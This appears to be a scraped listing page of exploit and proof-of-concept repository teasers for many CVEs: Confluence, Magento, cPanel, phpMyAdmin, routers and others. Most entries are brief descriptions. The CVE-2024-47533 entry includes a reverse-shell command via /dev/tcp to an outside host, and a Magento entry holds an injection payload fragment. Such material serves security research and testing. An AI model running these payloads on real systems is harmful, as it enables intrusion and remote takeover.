CVE-2021-26084

CVE-2021-26084 Confluence OGNL injection CVE-2021-26084 is an Object-Graph Navigation Language OGNL injection vulnerability in the Atlassian Confluence Webwork implementation. An unauthenticated, remote attacker could exploit this flaw by sending a specially crafted request to vulnerable endpoint...

CVE-2022-24086

CVE-2022-24086 Tested with: magento 2.4.3 and sample data Docker image: docker.io/bitnami/magento:2.4.3-debian-10-r0 First Name: root@kitploit: var this.getTemplateFilter.filter$order.shippingaddress.cityvar...

CVE-2025-59213

Microsoft Configuration Manager ConfigMgr / SCCM 2503 Unauthenticated SQL injection CVE-2025-59213 exploit This script exploits the CVE-2025-59213 vulnerability, which allows an unauthenticated attacker with network access to a Management Point to execute arbitrary SQL queries on the site databas...

CVE-2024-53376

CVE-2024-53376 CyberPanel Authenticated OS Command Injection Affected Devices CyberPanel versions 2.3.8 are vulnerable to an OS command injection. To exploit the vulnerability the attacker is required to firstly login to the webpanel. Tested With CyberPanel 2.3.7 Technical details An attacker can...

CVE-2022-31298

CVE-2022-31298 Haraj Script 3.7 - Authenticated Stored XSS Exploit Title: Haraj Script 3.7 - Authenticated Stored XSS Date: 2022-06-13 CVE: CVE-2022-31298 Exploit Author: Abdulaziz Saad @b4zb0z Vendor Homepage: https://angtech.org/ Software Link: https://angtech.org/product/view/3 Version: 3.7...

cve-2019-3396

Confluence unauthorised template injection CVE-2019-3396 I Building This bug occurs on the following versions: All versions 1.x.x, 2.x.x, 3.x.x, 4.x.x and 5.x.x All versions 6.0.x, 6.1.x, 6.2.x, 6.3.x, 6.4.x and 6.5.x All versions 6.6.x before 6.6.12 All versions 6.7.x, 6.8.x, 6.9.x, 6.10.x and...

dnsobserver

DNSObserver Un práctico servicio DNS escrito en Go para ayudar en la detección de varios tipos de vulnerabilidades ciegas. Monitorea el servidor de un pentester en busca de interacciones DNS fuera de banda y envía notificaciones con los detalles de la solicitud recibida a través de Slack...

CVE-2018-12613

CVE-2018-12613 Modified standalone exploit ported to Python 3. Tested on Python 3.7.3, phpMyAdmin 4.8.1 running on Ubuntu 16.04 Works on Linux only. Original exploit by SSD. All credits to them. Changes made 1. Added function to exit if provided phpMyAdmin username/password is correct 2. Added...

POC-S

POC-S: Versión reforzada de POC-T Los documentos wiki de POC-T están en el directorio doc Prefacio: Actualmente Aviso legal de exención de responsabilidad Usar POC-S para atacar objetivos sin el consentimiento previo de ambas partes es ilegal. POC-S se utiliza únicamente con fines de pruebas de...

CVE-2026-41940-PoC-Exploit

🚀 CVE-2026-41940 - cPanel/WHM Authentication Bypass Exploit cPanel & WHM Edition - CRLF Injection to Authentication Bypass & Full Session Hijacking 📌 Overview This exploit leverages CVE-2026-41940 , a critical authentication bypass vulnerability in cPanel/WHM. By injecting a crafted CRLF payload...

lightweight_static_analysis

Lightweight Static Analysis This repo contains the PoC code for a ShellCon 2019 talk, "Rolling Your Own: How to Write Custom, Lightweight Static Analysis Tools" slides. In a nutshell, this repo demonstrates a few concrete examples of how you can build some interesting static analyses using open...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

weblogic_CVE-2023-21931_POC-EXP

POC&EXP of CVE-2023-21931 CVE-2023-21931 Analysis Article JNDI-Injection-Exploit Description Before running the PoC script, it's advisable to add the following JAR files as library dependencies: root@kitploit: coherence\lib oraclecommon\lib oraclecommon\modules wlserver\modules POC&EXP...

CVE-2023-38829-NETIS-WF2409E

CVE-2023-38829-NETIS-WF2409E NETIS SYSTEMS Router WF2409E Command Injection PoC Vulnerability Description: The ping and traceroute functions of the NETIS SYSTEMS Router WF2409E version V3.6.42541 are susceptible to command injection attacks. Malicious input can be crafted in the parameters of the...

CVE-2024-3121

CVE-2024-3121 - Ejecución Remota de Código RCE en parisneo/lollms Descubierto por: Syed Jan Muhammad Zaidi GitHub: dark-ninja10 CVE ID: CVE-2024-3121 Repositorio afectado: parisneo/lollms 🧨 Resumen de la vulnerabilidad Existe una vulnerabilidad de Ejecución Remota de Código RCE en la función...

CVE-2024-4577

Nuclei Template for CVE-2024-4577 This Nuclei template serves as a Proof of Concept PoC for CVE-2024-4577, a PHP CGI Argument Injection vulnerability. Example Command root@kitploit: nuclei -t CVE-2024-4577.yaml -u https://example.com...

cve-2022-22963

Spring Cloud Function SpEL - cve-2022-22963 Build root@kitploit: $ git clone https://github.com/twseptian/cve-2022-22963.git $ cd cve-2022-22963 $ docker build . -t spring-spel-0day $ docker run -p 8080:8080 --name spring-spel-0day spring-spel-0day Payload root@kitploit:...

Privilege-escalation-MitraStar

Privilege-escalation-MitraStar-Router-GPT-2541GNAC-N1 CVE-2021-42165 Privilege escalation vulnerability on MitraStar routers Device: Mitrastar GPT-2541GNAC-N1 Firmware: BRg3.5100VNZ0b33 not tested in other version Exploit: Mitrastar GPT-2541GNAC-N1 devices are provided with access through ssh int...

CVE-2024-57366

CVE-2024-57366 Exploit A robust exploit for CVE-2024-57366 that allows remote code execution on vulnerable routers through MAC address validation bypass and command injection. This is a post-authorization exploit that requires the router "Remote Control" feature to be on, and the administrative...

CVE-2020-7471

CVE-2020-7471 Este repositorio proporciona el entorno y el POC para la vulnerabilidad CVE-2020-7471 Potential SQL injection via StringAggdelimiter. Versiones de Django afectadas 1.11 a 1.11.28 excluyendo 2.2 a 2.2.10 excluyendo 3.0 a 3.0.3 excluyendo Antes de descargar y usar, se requieren las...